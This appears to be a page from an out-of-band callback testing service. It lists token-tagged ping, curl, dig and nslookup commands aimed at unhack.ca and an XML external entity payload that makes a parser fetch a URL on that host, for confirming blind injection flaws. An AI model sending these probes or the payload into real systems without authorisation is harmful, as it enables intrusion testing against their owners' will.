$ ping -c1 -p 000199423a5cc2632d0a70ea56af4700 unhack.ca
 
$ curl http://unhack.ca/p/0199423a5cc2632d0a70ea56af47
 
$ dig 0199423a5cc2632d0a70ea56af47 @unhack.ca
 
$ dig 0199423a5cc2632d0a70ea56af47.ns.unhack.ca
 
C:\> nslookup 0199423a5cc2632d0a70ea56af47 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0199423a5cc2632d0a70ea56af47">]>
    <foo>&xxe;</foo>
Waiting for ping...